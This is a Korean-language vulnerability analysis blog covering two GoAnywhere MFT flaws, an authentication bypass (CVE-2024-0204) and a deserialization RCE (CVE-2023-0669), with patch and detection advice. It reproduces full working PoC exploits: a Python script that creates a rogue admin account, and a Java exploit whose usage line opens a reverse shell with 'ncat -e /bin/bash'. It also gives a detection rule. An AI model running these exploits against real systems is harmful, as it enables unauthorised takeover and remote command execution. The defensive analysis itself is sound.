1. GoAnywhere MFT [1]

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-0204 [1]

 

- 취약한 버전의 GoAnywhere MFT에서 발생하는 인증 우회 취약점 (CVSS: 9.8)

> 인증을 우회한 공격자는 새로운 관리자 계정을 생성해 추가 익스플로잇이 가능함

영향받는 버전 [3]
① Fortra GoAnywhere MFT 6.x (6.0.1 이상)
② Fortra GoAnywhere MFT 7.x (7.4.1 이전)

 

2.1 취약점 상세 [4]

- 최초 설치시 GoAnywhere MFT는 InitialAccountSetup.xhtml를 호출해 관리자 계정을 생성

 

[사진 2] 설치 중 관리자 계정 추가

 

- 설치 후 InitialAccountSetup.xhtml를 직접 요청하면 액세스할 수 없으며 리다이렉션이 발생

> 관리자 계정이 생성되었기 때문

> /Dashboard.xhtml 엔드포인트로 리디렉션

> 사용자가 인증되지 않았으므로 최종적으로 /auth/Login.xhtml로 리디렉션

 

- 모든 요청에 대해 com.linoma.dpa.security.SecurityFilter 클래스 호출

> 어떤 엔드포인트가 요청되는지 확인하고 엔드포인트, 사용자 컨텍스트 및 응용 프로그램 설정을 기반으로 요청이 올바른 엔드포인트로 라우팅 되도록 허용하는 doFilter() 기능을 수행

> 해당 클래스에서 취약점과 관련된 /InitialAccountSetup.xhtml 요청을 처리하는 명시적인 코드가 확인

① 91번 라인: 이미 생성된 관리자 사용자가 없고 경로가 /wizard/InitialAccountSetup.xhtml이 아닌 경우 설정 페이지로 리다이렉션
② 102번 라인: 이미 생성된 admin 사용자가 있고 경로가 /wizard/InitialAccountSetup.xhtml이면 /Dashboard.xhtml로 리디렉션

 

[사진 3]  /wizard/InitialAccountSetup.xhtml 관련 명시적 코드

 

- 공격자는 이를 악용하기 위해 페이로드에 "/..;/"를 추가해 경로 순회 취약점을 이용

> Tomcat의 일부 취약한 구성은 /..;/를 /../로 정규화 [5][6]

> /..;/를 이용해 doFilter()를 우회하여 새로운 관리자 계정 생성 및 추가 익스플로잇 수행

hxxps://[Target IP]/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml

 

[사진 4] 관리자 계정 생성 페이지 (좌) 및 관리자 계정 생성 (우)

 

2.2 PoC [7]

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml URL로 GET 요청 전송

import requests
from bs4 import BeautifulSoup
import argparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def validate_password(password):
    if len(password) < 8:
        raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
    return password

def main():
    parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
    parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("username", help="New admin username")
    parser.add_argument("password", help="New admin password", type=validate_password)
    args = parser.parse_args()
    url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"

    data = {
        "j_id_u:creteAdminGrid:username": args.username,
        "j_id_u:creteAdminGrid:password_hinput": args.password,
        "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
        "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
        "j_id_u:creteAdminGrid:submitButton": "",
        "createAdminForm_SUBMIT": 1,
    }

    s = requests.session()
    r = s.get(url, verify=False)
    if r.status_code == 401:
        raise Exception("Endpoint does not appear to be vulnerable.")

    soup = BeautifulSoup(r.text, "html.parser")
    input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
    data['javax.faces.ViewState'] = input_field['value']
    r = s.post(url, verify=False, data=data)

    if r.status_code != 200:
        raise Exception("Failed to create new admin user")

    soup = BeautifulSoup(r.text, "html.parser")
    error_message = soup.find("span", {"class": "ui-messages-error-summary"})
    if error_message is not None:
        raise Exception(error_message.text)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 : Fortra GoAnywhere MFT 7.4.1 이상 [8]

> 벤더사 권고 추가 해결 방안

① 비컨테이너 배포 인스턴스의 경우 설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 삭제하고 서비스 다시 시작

② 컨테이너 배포 인스턴스의 경우설치 디렉터리에서 InitialAccountSetup.xhtml 파일을 빈 파일로 바꾸고 서비스 다시 시작

 

- 관리자 계정 목록 검토

> GoAnywhere administrator portal Users -> Admin Users 검토

> 또는, \GoAnywhere\userdata\database\goAnywhere\log\*.log 로그 검토

※ 해당 로그는 DB의 트랜잭션 기록이 포함되어 있으며, 사용자 추가시 관련 로그가 기록됨

 

- /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml 탐지 패턴 적용

 

4. 참고

[1] https://www.goanywhere.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0204
[3] https://www.fortra.com/security/advisory/fi-2024-001
[4] https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/
[5] https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat#path-traversal
[6] https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
[7] https://github.com/horizon3ai/CVE-2024-0204
[8] https://www.kroll.com/en/insights/publications/cyber/authentication-bypass-in-fortra-goanywhere-mft
[9] https://cybersecuritynews.com/goanywhere-mft-bypass/amp/
[10] https://www.upguard.com/blog/goanywhere-cve-2024
[11] https://www.helpnetsecurity.com/2024/01/24/poc-cve-2024-0204/
[12] https://socprime.com/blog/cve-2024-0204-detection-critical-vulnerability-in-fortra-goanywhere-mft-resulting-in-authentication-bypass/
[13] https://www.boannews.com/media/view.asp?idx=126043&page=1&kind=1

1. GoAnywhere MFT

- 포트라(Fortra)에서 개발한 파일 전송 애플리케이션

 

2. 취약점 [1]

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2023-0669

- GoAnywhere MFT는 공격자가 조작한 역직렬화 데이터에대한 검증을 수행하지않아 발생하는 원격 명령 실행 취약점

- 공격자들은 해당 취약점을 악용하여 클롭(Clop) 랜섬웨어를 유포하는 중

영향받는 버전
- GoAnywhere MFT < 7.1.2

 

[사진 2] Shodan GoAnywhere 검색 화면

 

2.1 분석 [3][4]

- 취약점은 POST 요청을 처리하는 LicenseResponseServlet에서 발생

- bundle 파라미터를 getParameter()로 str1에 저장 후 LicenseAPI.getResponse()의 매개변수로 전달

- bundle 파라미터를 LicenseAPI.getResponse()의 매개변수로 전달하는 과정에 적절한 검증이 수행되지 않음

[사진 3] LicenseResponseServlet

 

- LicenseAPI.getResponse()는 BundleWorker.unbundle() 호출

[사진 4] LicenseAPI.getResponse()

 

- BundleWorker.unbundle()는 decode()를 호출 및 복호화 후 verify()에서 서명을 검증

[사진 5] BundleWorker.unbundle()

 

- 공격자는 다음의 과정을 거치는 것으로 판단됨

① 조작된 bundle 역직렬화 데이터를 서버에서 제공하는 암복호화 정보에 맞춰 암호화 한 후 서버에 전송

② 역직렬화 데이터를 직렬화하는 과정에서 공격자가 삽입한 원격 명령이 수행

 

2.2 PoC [5]

① 원격 명령이 포함한 암호화된 bundle 매개변수 생성

/goanywhere/lic/accept URL에 조작된 역직렬화 bundle 매개변수를 전달

package org.gaw;

import org.gaw.linoma.Cryptor;

import cn.hutool.http.HttpResponse;
import org.gaw.utils.Http;
import org.apache.commons.cli.*;
import org.apache.commons.lang.StringUtils;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.lang.*;

public class Exploit {
    static final String banner = "   _______    ________    ___   ____ ___  _____       ____  " +
            "_____ _____ ____ \n" +
            "  / ____/ |  / / ____/   |__ \\ / __ \\__ \\|__  /      / __ \\/ ___// ___// __ \\\n" +
            " / /    | | / / __/________/ // / / /_/ / /_ <______/ / / / __ \\/ __ \\/ /_/ /\n" +
            "/ /___  | |/ / /__/_____/ __// /_/ / __/___/ /_____/ /_/ / /_/ / /_/ /\\__, / \n" +
            "\\____/  |___/_____/    /____/\\____/____/____/      \\____/\\____/\\____//____/  \n" +
            "                                                                             ";
    // https://patorjk.com/software/taag/#p=display&f=Slant&t=CVE-2023-0669

    public static void printUsage(Options options) {
        HelpFormatter formatter = new HelpFormatter();
        System.out.println("GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object.\n");
        formatter.printHelp("Options", options);

        System.out.println("\nExample: ");
        System.out.println("java -jar CVE-2023-0669.jar -p http://127.0.0.1:8080 " +
                "-t https://192.168.1.1 -c 'ncat -e /bin/bash 192.168.1.2 4444'");
        System.out.println("java -jar CVE-2023-0669.jar -e ./payload.ser\n");
    }

    public static void main(String[] args) {
        System.out.println("\n"+banner);

        Options options = new Options();
        options.addOption("h", "help", false,"Print help information");
        options.addOption("t", "target", true, "Target URL");
        options.addOption("path", true, "Target Endpoint, default: /goanywhere/lic/accept");
        options.addOption("p", "proxy", true, "Proxy Address, eg: http://127.0.0.1:8080");
        options.addOption("c", "command", true, "Expected commands to be executed");
        options.addOption("e", "encrypt", true,"Encrypt the specified deserialized content");
        options.addOption("v", "version", true,"Version Encryption, 1/2, default: 1");
        options.addOption("timeout", true,"Http Requests Timeout, default: 20");

        CommandLineParser parser = new BasicParser();

        try {
            CommandLine cli = parser.parse(options, args);

            String version = cli.getOptionValue("v");
            version = (version == null)?"1":"2";

            if (cli.hasOption("h")) {
                printUsage(options);
            } else if (cli.hasOption("e")) {
                String filename = cli.getOptionValue("e");
                Path path = Paths.get(filename);
                byte[] data = Files.readAllBytes(path);
                System.out.println("[*] Files expected to be encrypted: " + filename);
                System.out.println("[*] Version Encryption: " + version);
                String bundle = Cryptor.main(data, version);
                System.out.println("[+] Successful encryption: " + bundle);
            } else if (cli.hasOption("t") && cli.hasOption("c")) {
                String target = cli.getOptionValue("t");
                System.out.println("[*] Target: " + target);

                String path = cli.getOptionValue("path");
                path = (path == null)?"/goanywhere/lic/accept":path;
                System.out.println("[*] Path: " + path);

                String proxy = cli.getOptionValue("p");
                System.out.println("[*] Proxy: " + proxy);

                String command = cli.getOptionValue("c");
                System.out.println("[*] Command: " + command);

                System.out.println("[*] Version Encryption: " + version);

                byte[] deserData = GenerateEvilPayload.main(command, "CommonsBeanutils1");
                String bundle = Cryptor.main(deserData, version);
                System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 50) +
                        "...");

                String timeout = cli.getOptionValue("timeout");
                timeout = (timeout == null)?"20":timeout;
                System.out.println("[*] Timeout: " + timeout + "s");
                int to = Integer.parseInt(timeout) * 1000;

                Exploit(target, path, bundle, proxy, to);
            } else {
                printUsage(options);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void Exploit(String target, String path, String body, String proxyURL,
                               int timeout) throws MalformedURLException {
        URL url = new URL(target);
        String rootURL = url.getProtocol() + "://" + url.getAuthority();

        String bundleBody = "bundle=" + body;

        Map<String, String> headers = new HashMap<>();
        headers.put("Content-Type", "application/x-www-form-urlencoded");

        System.out.println("[*] Exploiting...");

        HttpResponse r = Http.post(rootURL+path, bundleBody, headers ,proxyURL, timeout);

        if (r.getStatus() == 500 && r.body().contains("Requested URL: /goanywhere/lic/accept")) {
            System.out.println("[+] The exploit has been completed, please check.");
        } else{
            System.out.println("[-] Exploit Failed");
        }
    }
}

 

[사진 6] Exploit 패킷

3. 대응방안

3.1 서버측면

GoAnywhere MFT 7.1.2 업데이트 적용

- SessionUtilities.isLicenseRequestTokenValid()를 추가하여 라이센스 검증을 수행

> 라이센싱 요청을 수행할 때 생성되고 세션에 저장된 임의 UUID를 확인함

[사진 7] 패치 버전

② 추가 대응

- 벤더사에서는 2가지 완화 방안을 제공

> 시스템에서 만든 계정 등 의심스러운 계정이 있는지 확인

> GoAnywhere MFT가 설치된 파일 시스템에서 [install_dir]/adminroot/WEB-INF/web.xml 파일 편집

[사진 8] WEB-INF/web.xml 파일 편집 내용

3.2 네트워크 측면

- 보안 장비에 탐지 패턴 적용

alert tcp any any -> any any (msg:"Fortra GoAnywhere MFT RCE (CVE-2023-0669)"; content:"/goanywhere/lic/accept";flow:to_server,established;fast_pattern:only;http_uri; content:"bundle"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-0669

[2] https://www.tenable.com/cve/CVE-2023-0669

[3] https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis?utm_source=rapid7site&utm_medium=referral&utm_campaign=etr_anywheremft

[4] https://www.pingsafe.com/blog/fortra-goanywhere-mft-rce-vulnerability

[5] https://github.com/0xf4n9x/CVE-2023-0669

[6] https://www.boannews.com/media/view.asp?idx=114180

 

 

+ Recent posts